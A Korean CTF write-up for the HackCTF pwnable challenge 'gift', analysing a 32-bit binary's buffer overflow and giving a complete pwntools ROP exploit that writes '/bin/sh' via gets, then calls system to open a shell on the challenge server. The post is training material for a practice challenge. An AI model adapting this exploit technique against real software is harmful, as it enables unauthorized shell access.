WAR GAME/HackCTF

[HackCTF : Pwnable] gift 풀이 (32bit, ROP)

jir4vvit 2021. 4. 10. 17:03

문제 풀이 환경 : ubuntu 18.04
사용 툴 : IDA 7.5 pro

250점 짜리 문제인데 이정도는 껌이지 후훗


주어진 파일은 문제파일 바이너리

 

Analysis

IDA로 열어보자. 

binsh 는 bss영역의 변수다. 

binsh와 system 함수의 주소를 출력해준다.

printf 함수를 통해서 fsb가 트리거될 수 있는데 쓸만한거 주소들 다 출력해주니 딱히 leak할 것이 없어보였다. 실행중인 함수의 주소를 출력해주니깐... 

마지막으로 gets 함수에서는 bof가 트리거된다.

여기서 RET를 system함수 주소로 바꾸고 인자를 '/bin/sh'로 주면 될 것 같다.

 

그래서 줘봤는데...

안되어서 보니깐 binsh 주소에 아무것도 저장되어 있지 않았다.. ㅠㅠ...!

 

그래서 먼저 gets 함수를 이용해서 저기다가 '/bin/sh\x00'을 넣어주고 system 함수를 호출해야겠다고 생각했다.

 

 

How to exploit!

1. first main => leak addr(binsh, system), gets(binsh) -> '/bin/sh\x00' 입력

2. second main => exploit! system(binsh)

 

Let's exploit!

from pwn import *

#p = process('./gift')
p = remote('ctf.j0n9hyun.xyz', 3018)
e = ELF('./gift')

log.info('[*] first main')
log.info('[*] leak addr') 
leaks = p.recvline().split(' ')
binsh_leak = int(leaks[5], 16)
system_leak = int(leaks[6], 16)
#leak = int(p.recv(14),16)
log.info('[+]\tbinsh leak = '+ hex(binsh_leak))
log.info('[+]\tsystem leak = '+ hex(system_leak))


payload = ''
payload += 'a' * (0x84+0x4)
payload += p32(e.symbols['gets'])
payload += p32(0x08048546) # main
payload += p32(binsh_leak)

p.sendline('aa')
p.sendline(payload)
p.sendline('/bin/sh\x00')
log.info('[*] success to input binsh')
log.info('[*] second main')
#second
payload = ''
payload += 'a' * (0x84+0x4)
payload += p32(system_leak)
payload += 'bbbb'
payload += p32(binsh_leak)

p.sendline('aa')
#pause()
p.sendline(payload)

p.interactive()